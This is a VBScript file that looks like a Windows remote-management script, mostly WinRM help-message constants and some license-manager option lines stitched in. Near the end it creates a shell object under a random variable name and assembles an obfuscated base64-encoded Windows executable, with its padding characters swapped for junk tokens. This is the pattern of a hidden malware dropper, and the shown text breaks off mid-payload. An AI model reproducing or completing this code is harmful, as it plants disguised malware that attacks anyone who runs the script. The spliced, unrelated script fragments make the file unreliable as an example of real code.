private const L_HelpConfigsddl_003_0_Message = "This command will fail if the plugin does not exist."
private const L_HelpConfigsddl_004_0_Message = ""
private const L_HelpConfigsddl_005_0_Message = "This command will launch a GUI to edit the security settings."
private const L_HelpConfigsddl_005_1_Message = ""
private const L_HelpConfigsddl_006_0_Message = "RESOURCE_URI is always treated as a prefix."
private const L_HelpConfigsddl_010_0_Message = ""
private const L_HelpConfigsddl_011_0_Message = "To change the default security (the RootSDDL setting) use:"
private const X_HelpConfigsddl_012_0_Message = " winrm configsddl default"
'''''''''''''''''''''
' HELP - QUICKCONFIG
private const X_HelpQuickConfig_001_0_Message = "winrm quickconfig [-quiet] [-transport:VALUE] [-force]"
private const X_HelpQuickConfig_002_0_Message = ""
private const L_HelpQuickConfig_003_0_Message = "Performs configuration actions to enable this machine for remote management."
private const L_HelpQuickConfig_004_0_Message = "Includes:"
private const L_HelpQuickConfig_005_0_Message = " 1. Start the WinRM service"
private const L_HelpQuickConfig_006_0_Message = " 2. Set the WinRM service type to auto start"
private const L_HelpQuickConfig_007_0_Message = " 3. Create a listener to accept request on any IP address"
private const L_HelpQuickConfig_008_0_Message = " 4. Enable firewall exception for WS-Management traffic (for http only)"
private const X_HelpQuickConfig_009_0_Message = ""
private const X_HelpQuickConfig_010_0_Message = "-q[uiet]"
private const X_HelpQuickConfig_010_1_Message = "--------"
private const L_HelpQuickConfig_011_0_Message = "If present, quickconfig will not prompt for confirmation."
private const X_HelpQuickConfig_012_0_Message = "-transport:VALUE"
private const X_HelpQuickConfig_013_0_Message = "----------------"
private const L_HelpQuickConfig_014_0_Message = "Perform quickconfig for specific transport."
private const L_HelpQuickConfig_015_0_Message = "Possible options are http and https. Defaults to http."
private const X_HelpQuickConfig_016_0_Message = "-force"
private const X_HelpQuickConfig_017_0_Message = "--------"
private const L_HelpQuickConfig_018_0_Message = "If present, quickconfig will not prompt for confirmation, and will enable "
private const L_HelpQuickConfig_019_0_Message = "the firewall exception regardless of current network profile settings."
'''''''''''''''''''''
' HELP - REMOTE
private const L_HelpRemote_001_0_Message = "winrm OPERATION -remote:VALUE [-unencrypted] [-usessl]"
private const L_HelpRemote_002_0_Message = ""
private const L_HelpRemote_003_0_Message = "-r[emote]:VALUE"
private const L_HelpRemote_004_0_Message = "---------------"
private const L_HelpRemote_005_0_Message = "Specifies identifier of remote endpoint/system. "
private const L_HelpRemote_006_0_Message = "May be a simple host name or a complete URL."
private const L_HelpRemote_007_0_Message = ""
private const L_HelpRemote_008_0_Message = " [TRANSPORT://]HOST[:PORT][/PREFIX]"
private const L_HelpRemote_009_0_Message = ""
private const L_HelpRemote_010_0_Message = "Transport: One of HTTP or HTTPS; default is HTTP."
private const L_HelpRemote_011_0_Message = "Host: Can be in the form of a DNS name, NetBIOS name, or IP address."
private const L_HelpRemote_012_0_Message = "Port: If port is not specified then the following default rules apply:"
private const L_HelpRemote_013_0_Message = "Prefix: Defaults to wsman."
private const L_HelpRemote_014_0_Message = ""
private const L_HelpRemote_015_0_Message = "Note: IPv6 addresses must be enclosed in brackets."
private const L_HelpRemote_016_0_Message = "Note: When using HTTPS, the machine name must match the server's certificate"
private const L_HelpRemote_017_0_Message = " common name (CN) unless -skipCNcheck is used."
private const L_HelpRemote_018_0_Message = "Note: Defaults for port and prefix can be changed in the local configuration."
private const L_HelpRemoteExample_001_0_Message = "Example: Connect to srv.corp.com via http:"
private const X_HelpRemoteExample_002_0_Message = " winrm get uri -r:srv.corp.com"
private const L_HelpRemoteExample_003_0_Message = ""
private const L_HelpRemoteExample_004_0_Message = "Example: Connect to local computer machine1 via https:"
private const X_HelpRemoteExample_005_0_Message = " winrm get uri -r:https://machine1"
private const L_HelpRemoteExample_006_0_Message = ""
private const L_HelpRemoteExample_007_0_Message = "Example: Connect to an IPv6 machine via http:"
private const X_HelpRemoteExample_008_0_Message = " winrm get uri -r:[1:2:3::8]"
private const L_HelpRemoteExample_009_0_Message = ""
private const L_HelpRemoteExample_010_0_Message = "Example: Connect to an IPv6 machine via https on a non-default port and URL:"
private const X_HelpRemoteExample_011_0_Message = " winrm get uri -r:https://[1:2:3::8]:444/path"
private const L_HelpRemoteUnencrypted_001_0_Message = "-un[encrypted]"
private const L_HelpRemoteUnencrypted_002_0_Message = "--------------"
private const L_HelpRemoteUnencrypted_003_0_Message = "Specifies that no encryption will be used when doing remote operations over"
private const L_HelpRemoteUnencrypted_004_0_Message = "HTTP. Unencrypted traffic is not allowed by default and must be enabled in"
private const L_HelpRemoteUnencrypted_005_0_Message = "the local configuration."
private const L_HelpRemoteConfig_001_0_Message = "To enable this machine to be remotely managed see:"
'''''''''''''''''''''
' HELP - AUTH
private const L_HelpAuth_001_0_Message = "winrm OPERATION -remote:VALUE "
private const L_HelpAuth_002_0_Message = " [-authentication:VALUE] "
private const L_HelpAuth_003_0_Message = " [-username:USERNAME] "
private const L_HelpAuth_004_0_Message = " [-password:PASSWORD]"
private const L_HelpAuth_004_1_Message = " [-certificate:THUMBPRINT]"
private const L_HelpAuth_005_0_Message = ""
private const L_HelpAuth_006_0_Message = "When connecting remotely, you can specify which credentials and which"
private const L_HelpAuth_007_0_Message = "authentication mechanisms to use. If none are specified the current "
private const L_HelpAuth_008_0_Message = "logged-on user's credentials will be used."
private const L_HelpAuthAuth_001_0_Message = "-a[uthentication]:VALUE"
private const L_HelpAuthAuth_002_0_Message = "-----------------------"
private const L_HelpAuthAuth_003_0_Message = "Specifies authentication mechanism used when communicating with remote machine."
private const L_HelpAuthAuth_004_0_Message = "Possible options are None, Basic, Digest, Negotiate, Kerberos, CredSSP."
private const L_HelpAuthAuth_004_1_Message = "Possible options are None, Basic, Digest, Negotiate, Kerberos."
private const L_HelpAuthAuth_005_0_Message = "Examples:"
private const X_HelpAuthAuth_006_0_Message = " -a:None"
private const X_HelpAuthAuth_007_0_Message = " -a:Basic"
private const X_HelpAuthAuth_008_0_Message = " -a:Digest"
private const X_HelpAuthAuth_009_0_Message = " -a:Negotiate"
private const X_HelpAuthAuth_010_0_Message = " -a:Kerberos"
private const X_HelpAuthAuth_010_1_Message = " -a:Certificate"
private const X_HelpAuthAuth_010_2_Message = " -a:CredSSP"
private const L_HelpAuthAuth_011_0_Message = "Note: If an authentication mechanism is not specified, Kerberos is used unless"
private const L_HelpAuthAuth_012_0_Message = " one of the conditions below is true, in which case Negotiate is used:"
private const L_HelpAuthAuth_013_0_Message = " -explicit credentials are supplied and the destination host is trusted"
private const L_HelpAuthAuth_013_1_Message = " -the destination host is ""localhost"", ""127.0.0.1"" or ""[::1]"""
private const L_HelpAuthAuth_013_2_Message = " -the client computer is in workgroup and the destination host is trusted"
private const L_HelpAuthAuth_014_0_Message = "Note: Not all authentication mechanisms are enabled by default. Allowed"
private const L_HelpAuthAuth_015_0_Message = " authentication mechanisms can be controlled by local configuration "
private const L_HelpAuthAuth_016_0_Message = " or group policy."
private const L_HelpAuthAuth_017_0_Message = "Note: Most operations will require an authentication mode other than None."
private const L_HelpAuthAuth_018_0_Message = "Note: Certificate authentication can be used only with the HTTPS transport."
private const L_HelpAuthAuth_019_0_Message = " To configure an HTTPS listener for the WinRM service run the command:"
private const L_HelpAuthAuth_020_0_Message = " ""winrm quickconfig -transport:HTTPS"""
private const L_HelpAuthUsername_001_0_Message = "-u[sername]:USERNAME"
private const L_HelpAuthUsername_002_0_Message = "--------------------"
private const L_HelpAuthUsername_003_0_Message = "Specifies username on remote machine. Cannot be used on local machine."
private const L_HelpAuthUsername_004_0_Message = "User must be member of local Administrators group on remote machine."
private const L_HelpAuthUsername_005_0_Message = "If the user account is a local account on the remote machine,"
private const L_HelpAuthUsername_006_0_Message = "the syntax should be in the form -username:USERNAME"
private const L_HelpAuthUsername_007_0_Message = "If the username is a domain account, the syntax should be in the form"
private const L_HelpAuthUsername_008_0_Message = "-username:DOMAIN\USERNAME"
private const L_HelpAuthUsername_009_0_Message = "If Basic or Digest is used, then -username is required."
private const L_HelpAuthUsername_010_0_Message = "If Kerberos is used, then the current logged-on user's credentials"
private const L_HelpAuthUsername_011_0_Message = "are used if -username is not supplied. Only domain credentials can"
private const L_HelpAuthUsername_011_1_Message = "be used with Kerberos."
private const L_HelpAuthUsername_012_0_Message = "If Negotiate is used, then -username is required unless"
private const L_HelpAuthUsername_013_0_Message = "one of the conditions below is true:"
private const L_HelpAuthUsername_014_0_Message = " -the destination host is ""localhost"", ""127.0.0.1"" or ""[::1]"""
private const L_HelpAuthUsername_015_0_Message = " -the client computer is in workgroup and the destination host is trusted"
private const L_HelpAuthUsername_016_0_Message = "If CredSSP is used, then username and password are required."
private const L_HelpAuthPassword_001_0_Message = "-p[assword]:PASSWORD"
private const L_HelpAuthPassword_002_0_Message = "--------------------"
private const L_HelpAuthPassword_003_0_Message = "Specifies password on command line to override interactive prompt."
private const L_HelpAuthPassword_004_0_Message = "Applies only if -username:USERNAME option is used."
private const L_HelpAuthCertificate_001_0_Message = "-c[ertificate]:THUMBPRINT"
private const L_HelpAuthCertificate_002_0_Message = "--------------------"
private const L_HelpAuthCertificate_003_0_Message = "Specifies the thumbprint of a certificate that must exist in the local"
private const L_HelpAuthCertificate_004_0_Message = "machine store or in the current user store. The certificate must be intended"
private const L_HelpAuthCertificate_005_0_Message = "for client authentication."
private const L_HelpAuthCertificate_006_0_Message = "Applies only if -a:Certificate is used."
private const L_HelpAuthCertificate_007_0_Message = "THUMBPRINT can contain spaces, in which case it must be enclosed in"
private const L_HelpAuthCertificate_008_0_Message = "double quotation marks."
private const L_HelpAuthCertificate_009_0_Message = "Examples:"
private const L_HelpAuthCertificate_010_0_Message = "-c:7b0cf48026409e38a2d6348761b1dd1271c4f86d"
private const L_HelpAuthCertificate_011_0_Message = "-c:""7b 0c f4 80 26 40 9e 38 a2 d6 34 87 61 b1 dd 12 71 c4 f8 6d"""
'''''''''''''''''''''
' HELP - PROXY
private const X_HelpProxy_001_0_Message = "winrm OPERATION -remote:VALUE "
private const X_HelpProxy_002_0_Message = " [-proxyaccess:VALUE] "
private const X_HelpProxy_002_1_Message = " [-proxyauth:VALUE] "
private const X_HelpProxy_003_0_Message = " [-proxyusername:USERNAME] "
private const X_HelpProxy_004_0_Message = " [-proxypassword:PASSWORD]"
private const L_HelpProxy_005_0_Message = ""
private const L_HelpProxy_006_0_Message = "When connecting remotely, you can specify which proxy access type,"
private const L_HelpProxy_007_0_Message = " proxy credentials and proxy authentication mechanisms to use."
private const X_HelpProxyAccess_001_0_Message = "-p[roxy]ac[cess]:VALUE"
private const L_HelpProxyAccess_002_0_Message = "-----------------------"
private const L_HelpProxyAccess_003_0_Message = "Specifies which proxy settings to retrieve when connecting to a remote machine."
private const L_HelpProxyAccess_004_0_Message = "Possible options are ie_settings, winhttp_settings, auto_detect, no_proxy."
private const L_HelpProxyAccess_005_0_Message = "Examples:"
private const X_HelpProxyAccess_006_0_Message = " -pac:ie_settings"
private const X_HelpProxyAccess_007_0_Message = " -pac:winhttp_settings"
private const X_HelpProxyAccess_008_0_Message = " -pac:auto_detect"
private const X_HelpProxyAccess_009_0_Message = " -pac:no_proxy"
private const L_HelpProxyAccess_010_0_Message = ""
private const L_HelpProxyAccess_011_0_Message = "The WSMan client provides four options for the configuration of proxy settings:"
private const L_HelpProxyAccess_012_0_Message = " -use settings configured through Internet Explorer (default)"
private const L_HelpProxyAccess_013_0_Message = " -use settings configured through WinHTTP"
private const L_HelpProxyAccess_014_0_Message = " -automatic proxy discovery"
private const L_HelpProxyAccess_015_0_Message = " -direct connection (don
t use a proxy)"
private const L_HelpProxyAuth_001_0_Message = "-p[roxy]a[uth]:VALUE"
private const L_HelpProxyAuth_002_0_Message = "-----------------------"
private const L_HelpProxyAuth_003_0_Message = "Specifies authentication mechanism used to authenticate with a proxy."
private const L_HelpProxyAuth_004_0_Message = "Possible options are Basic, Digest, Negotiate."
private const L_HelpProxyAuth_005_0_Message = "Examples:"
private const X_HelpProxyAuth_007_0_Message = " -pa:Basic"
private const X_HelpProxyAuth_008_0_Message = " -pa:Digest"
private const X_HelpProxyAuth_009_0_Message = " -pa:Negotiate"
private const L_HelpProxyAuth_010_0_Message = "If -proxyauth:VALUE is used then -proxyaccess:VALUE is required."
private const L_HelpProxyUsername_001_0_Message = "-p[roxy]u[sername]:USERNAME"
private const L_HelpProxyUsername_002_0_Message = "--------------------"
private const L_HelpProxyUsername_003_0_Message = "Specifies username to authenticate with proxy. Cannot be used on local machine."
private const L_HelpProxyUsername_005_0_Message = "If the user account is a local account on the remote machine,"
private const L_HelpProxyUsername_006_0_Message = "the syntax should be in the form -proxyusername:USERNAME"
private const L_HelpProxyUsername_007_0_Message = "If the username is a domain account, the syntax should be in the form"
private const L_HelpProxyUsername_008_0_Message = "-proxyusername:DOMAIN\USERNAME"
private const L_HelpProxyUsername_009_0_Message = "If -proxyusername is used then -proxyauth:VALUE is required."
private const L_HelpProxyPassword_001_0_Message = "-p[roxy]p[assword]:PASSWORD"
private const L_HelpProxyPassword_002_0_Message = "--------------------"
private const L_HelpProxyPassword_003_0_Message = "Specifies password on command line to override interactive prompt."
private const L_HelpProxyPassword_004_0_Message = "Applies only if -proxyusername:USERNAME option is used."
'''''''''''''''''''''
' HELP - INPUT
private const L_HelpInput_001_0_Message = "Input can be by either providing key/value pairs directly on the command line"
private const L_HelpInput_002_0_Message = "or reading XML from a file."
private const L_HelpInput_003_0_Message = ""
private const L_HelpInput_004_0_Message = " winrm OPERATION -file:VALUE "
private const L_HelpInput_005_0_Message = " winrm OPERATION @{KEY=""VALUE""[;KEY=""VALUE""]}"
private const L_HelpInput_006_0_Message = ""
private const L_HelpInput_007_0_Message = "Applies to set, create, and invoke operations."
private const L_HelpInput_008_0_Message = "Use either @{KEY=VALUE} or input from an XML file, but not both."
private const L_HelpInput_009_0_Message = ""
private const L_HelpInput_010_0_Message = "-file:VALUE"
private const L_HelpInput_011_0_Message = "-----------"
private const L_HelpInput_012_0_Message = "Specifies name of file used as input."
private const L_HelpInput_013_0_Message = "VALUE can be absolute path, relative path, or filename without path."
private const L_HelpInput_014_0_Message = "Names or paths that include spaces must be enclosed in quotation marks."
private const L_HelpInput_015_0_Message = ""
private const L_HelpInput_016_0_Message = "@{KEY=""VALUE""[;KEY=""VALUE""]}"
private const L_HelpInput_017_0_Message = "----------------------------"
private const L_HelpInput_018_0_Message = "Keys are not unique."
private const L_HelpInput_019_0_Message = "Values must be within quotation marks."
private const L_HelpInput_020_0_Message = "$null is a special value."
private const L_HelpInput_021_0_Message = ""
private const L_HelpInput_022_0_Message = "Examples:"
private const X_HelpInput_023_0_Message = " @{key1=""value1"";key2=""value2""}"
private const X_HelpInput_024_0_Message = " @{key1=$null;key2=""value2""}"
'''''''''''''''''''''
' HELP - FILTERS
private const L_HelpFilter_001_0_Message = "Filters allow selecting a subset of the desired resources:"
private const X_HelpFilter_002_0_Message = ""
private const X_HelpFilter_003_0_Message = "winrm enumerate RESOURCE_URI -filter:EXPR [-dialect:URI] [-Associations]..."
private const X_HelpFilter_004_0_Message = ""
private const L_HelpFilter_005_0_Message = "-filter:EXPR"
private const X_HelpFilter_006_0_Message = "------------"
private const L_HelpFilter_007_0_Message = "Filter expression for enumeration."
private const X_HelpFilter_008_0_Message = ""
private const L_HelpFilter_009_0_Message = "-dialect:URI"
private const X_HelpFilter_010_0_Message = "------------"
private const L_HelpFilter_011_0_Message = "Dialect of the filter expression for enumeration."
private const L_HelpFilter_012_0_Message = "This may be any dialect supported by the remote service. "
private const X_HelpFilter_013_0_Message = ""
private const L_HelpFilter_014_0_Message = "The following aliases can be used for the dialect URI:"
private const X_HelpFilter_015_0_Message = "* WQL - http://schemas.microsoft.com/wbem/wsman/1/WQL"
private const X_HelpFilter_016_0_Message = "* Selector - http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
private const X_HelpFilter_016_1_Message = "* Association - http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
private const X_HelpFilter_017_0_Message = ""
private const L_HelpFilter_018_0_Message = "The dialect URI defaults to WQL when used with enumeration."
private const X_HelpFilter_019_0_Message = ""
private const L_HelpFilter_019_1_Message = "-Associations"
private const L_HelpFilter_019_2_Message = "------------"
private const X_HelpFilter_019_3_Message = "This parameter has relevance only when the Dialect parameter exists, and its value is specified as Association. Otherwise this parameter should not be used."
private const X_HelpFilter_019_4_Message = "This indicates retrieval of Association Instances rather than Associated Instances. Absence of this parameter would imply Associated Instances are to be retrieved."
private const X_HelpFilter_019_5_Message = ""
private const L_HelpFilter_020_0_Message = "Example: Find running services"
private const X_HelpFilter_021_0_Message = " winrm e wmicimv2/Win32_Service -dialect:selector -filter:{State=""Running""}"
private const X_HelpFilter_022_0_Message = ""
private const L_HelpFilter_023_0_Message = "Example: Find auto start services that are not running"
private const X_HelpFilter_024_0_Message = " winrm e wmicimv2/* -filter:""select * from Win32_Service where State!='Running' and StartMode='Auto'"""
private const L_HelpFilter_025_0_Message = ""
private const L_HelpFilter_026_0_Message = "Example: Find the services on which winrm service has a dependency"
private const X_HelpFilter_027_0_Message = " winrm e wmicimv2/* -dialect:Association -filter:{Object=Win32_Service?Name=WinRM;AssociationClassName=Win32_DependentService;ResultClassName=win32_service;ResultRole=antecedent;Role=dependent}"
'''''''''''''''''''''
' HELP - SWITCHES
private const L_HelpSwitchTimeout_001_0_Message = "-timeout:MS"
private const L_HelpSwitchTimeout_002_0_Message = "-----------"
private const L_HelpSwitchTimeout_003_0_Message = "Timeout in milliseconds. Limits duration of corresponding operation."
private const L_HelpSwitchTimeout_004_0_Message = "Default timeout can be configured by:"
private const X_HelpSwitchTimeout_005_0_Message = " winrm set winrm/config @{MaxTimeoutms=""XXXXXX""}"
private const L_HelpSwitchTimeout_006_0_Message = "Where XXXXXX is an integer indicating milliseconds."
private const X_HelpSwitchSkipCACheck_001_0_Message = "-skipCAcheck"
private const L_HelpSwitchSkipCACheck_002_0_Message = "------------"
private const L_HelpSwitchSkipCACheck_003_0_Message = "Specifies that certificate issuer need not be a trusted root authority."
private const L_HelpSwitchSkipCACheck_004_0_Message = "Used only in remote operations using HTTPS (see -remote option)."
private const L_HelpSwitchSkipCACheck_005_0_Message = "This option should be used only for trusted machines."
private const X_HelpSwitchSkipCNCheck_001_0_Message = "-skipCNcheck"
private const L_HelpSwitchSkipCNCheck_002_0_Message = "------------"
private const L_HelpSwitchSkipCNCheck_003_0_Message = "Specifies that certificate common name (CN) of the server need not match the"
private const L_HelpSwitchSkipCNCheck_004_0_Message = "hostname of the server. "
private const L_HelpSwitchSkipCNCheck_005_0_Message = "Used only in remote operations using HTTPS (see -remote option)."
private const L_HelpSwitchSkipCNCheck_006_0_Message = "This option should be used only for trusted machines."
private const X_HelpSwitchSkipRevCheck_001_0_Message = "-skipRevocationcheck"
private const X_HelpSwitchSkipRevCheck_002_0_Message = "-------------------"
private const L_HelpSwitchSkipRevCheck_003_0_Message = "Specifies that the revocation status of the server certificate is not checked."
private const L_HelpSwitchSkipRevCheck_004_0_Message = "Used only in remote operations using HTTPS (see -remote option)."
private const L_HelpSwitchSkipRevCheck_005_0_Message = "This option should be used only for trusted machines."
private const X_HelpSwitchDefaultCreds_001_0_Message = "-defaultCreds"
private const X_HelpSwitchDefaultCreds_002_0_Message = "-------------------"
private const L_HelpSwitchDefaultCreds_003_0_Message = "Specifies that the implicit credentials are allowed when Negotiate is used."
private const L_HelpSwitchDefaultCreds_004_0_Message = "Allowed only in remote operations using HTTPS (see -remote option)."
private const L_HelpSwitchDialect_001_0_Message = "-dialect:VALUE"
private const L_HelpSwitchDialect_002_0_Message = "--------------"
private const L_HelpSwitchDialect_003_0_Message = "Dialect of the filter expression for enumeration or fragment."
private const L_HelpSwitchDialect_004_0_Message = "Example: Use a WQL query"
private const X_HelpSwitchDialect_005_0_Message = " -dialect:http://schemas.microsoft.com/wbem/wsman/1/WQL"
private const L_HelpSwitchDialect_006_0_Message = "Example: Use XPATH for filtering with enumeration or fragment get/set."
private const X_HelpSwitchDialect_007_0_Message = " -dialect:http://www.w3.org/TR/1999/REC-xpath-19991116"
'private const L_HelpSwitchFilter_001_0_Message = "-filter:VALUE"
'private const L_HelpSwitchFilter_002_0_Message = "-----------------"
'private const L_HelpSwitchFilter_003_0_Message = "Filter expression for enumeration."
'private const L_HelpSwitchFilter_004_0_Message = "Example: Use a WQL query"
'private const X_HelpSwitchFilter_005_0_Message = " -filter:""select * from Win32_process where handle=0"""
private const L_HelpSwitchFragment_001_0_Message = "-fragment:VALUE"
private const L_HelpSwitchFragment_002_0_Message = "---------------"
private const L_HelpSwitchFragment_003_0_Message = "Specify a section inside the instance XML that is to be updated or retrieved"
private const L_HelpSwitchFragment_004_0_Message = "for the given operation."
private const L_HelpSwitchFragment_005_0_Message = "Example: Get the status of the spooler service"
private const X_HelpSwitchFragment_006_0_Message = " winrm get wmicimv2/Win32_Service?name=spooler -fragment:Status/text()"
private const L_HelpSwitchOption_001_0_Message = "-options:{KEY=""VALUE""[;KEY=""VALUE""]}"
private const L_HelpSwitchOption_002_0_Message = "------------------------------------"
private const L_HelpSwitchOption_003_0_Message = "Key/value pairs for provider-specific options."
private const L_HelpSwitchOption_004_0_Message = "To specify NULL as a value, use $null"
private const L_HelpSwitchOption_005_0_Message = ""
private const L_HelpSwitchOption_006_0_Message = "Examples:"
private const X_HelpSwitchOption_007_0_Message = " -options:{key1=""value1"";key2=""value2""}"
private const X_HelpSwitchOption_008_0_Message = " -options:{key1=$null;key2=""value2""}"
private const X_HelpSwitchSPNPort_001_0_Message = "-SPNPort"
private const L_HelpSwitchSPNPort_002_0_Message = "--------"
private const L_HelpSwitchSPNPort_003_0_Message = "Appends port number to the Service Principal Name (SPN) of the remote server."
private const L_HelpSwitchSPNPort_004_0_Message = "Service principal name is used when Negotiate or Kerberos authentication"
private const L_HelpSwitchSPNPort_005_0_Message = "mechanism is in use."
private const L_HelpSwitchEncoding_001_0_Message = "-encoding:VALUE"
private const L_HelpSwitchEncoding_002_0_Message = "---------------"
private const L_HelpSwitchEncoding_003_0_Message = "Specifies encoding type when talking to remote machine (see -remote"
private const L_HelpSwitchEncoding_004_0_Message = "option). Possible options are ""utf-8"" and ""utf-16""."
private const L_HelpSwitchEncoding_005_0_Message = "Default is utf-8."
private const L_HelpSwitchEncoding_006_0_Message = "Examples:"
private const X_HelpSwitchEncoding_007_0_Message = " -encoding:utf-8"
private const X_HelpSwitchEncoding_008_0_Message = " -encoding:utf-16"
private const L_HelpSwitchFormat_001_0_Message = "-f[ormat]:FORMAT"
private const L_HelpSwitchFormat_002_0_Message = "----------------"
private const L_HelpSwitchFormat_003_0_Message = "Specifies format of output."
private const L_HelpSwitchFormat_004_0_Message = "FORMAT can be ""xml"", ""pretty"" (better formatted XML), or ""text""."
private const L_HelpSwitchFormat_005_0_Message = "Examples:"
private const X_HelpSwitchFormat_006_0_Message = " -format:xml"
private const X_HelpSwitchFormat_007_0_Message = " -format:pretty"
private const X_HelpSwitchFormat_008_0_Message = " -format:text"
private const L_HelpRemoteUseSsl_001_0_Message = "-[use]ssl"
private const L_HelpRemoteUseSsl_002_0_Message = "---------"
private const L_HelpRemoteUseSsl_003_0_Message = "Specifies that an SSL connection will be used when doing remote operations."
private const L_HelpRemoteUseSsl_004_0_Message = "The transport in the remote option should not be specified. "
private const L_HelpRemote_012_1_Message = " * If transport is specified to HTTP then port 80 is used."
private const L_HelpRemote_012_2_Message = " * If transport is specified to HTTPS then port 443 is used."
private const L_HelpRemote_012_3_Message = " * If transport is not specified and -usessl is not specified then port"
private const L_HelpRemote_012_4_Message = " 5985 is used for an HTTP connection."
private const L_HelpRemote_012_5_Message = " * If transport is not specified and -usessl is specified then port 5986"
private const L_HelpRemote_012_6_Message = " is used for an HTTPS connection."
On Error Resume Next
OptLine GetResource("L_optDisplayInformation"), GetResource("L_ParamsActIDOptional"), GetResource("L_optDisplayInformationUsage")
OptLine GetResource("L_optDisplayInformationVerbose"), GetResource("L_ParamsActIDOptional"), GetResource("L_optDisplayInformationUsageVerbose")
OptLine GetResource("L_optExpirationDatime"), GetResource("L_ParamsActivationIDOptional"), GetResource("L_optExpirationDatimeUsage")
Set HULUDGKZWCJNNPEFLRM = WScript.CreateObject("WScript.Shell")
LineOut ""
LineOut GetResource("L_MsgGlobalOptions")
OptLine GetResource("L_optInstallProductKey"), GetResource("L_ParamsProductKey"), GetResource("L_optInstallProductKeyUsage")
OptLine GetResource("L_optActivateProduct"), GetResource("L_ParamsActivationIDOptional"), GetResource("L_optActivateProductUsage")
Dim IWHGBkP
IWHGBkP = IWHGBkP & "TVqQ@@&&^%^#%@@&&^%^#%M@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%E@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%//8@@&&^%^#%@@&&^%^#%Lg@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Q@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%4fug4@@&&^"
IWHGBkP = IWHGBkP & "%^#%t@@&&^%^#%nNIbgBTM0hVGhpcyBwcm9ncmFt"
IWHGBkP = IWHGBkP & "IGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K"
IWHGBkP = IWHGBkP & "J@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%BQRQ@@&&^%^#%@@&&^%^#%T@@&&^%^#%ED@@&&"
IWHGBkP = IWHGBkP & "^%^#%Nj/dNM@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%O@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "DiEL@@&&^%^#%QY@@&&^%^#%@@&&^%^#%F@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%G"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Lm4@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%B@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%B@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%E@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%D@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%g@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%M@@&&^%^#%YIU@@&&^%^#%@@&&^%^#%B@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%B@@&&^%^#%@@&&^"
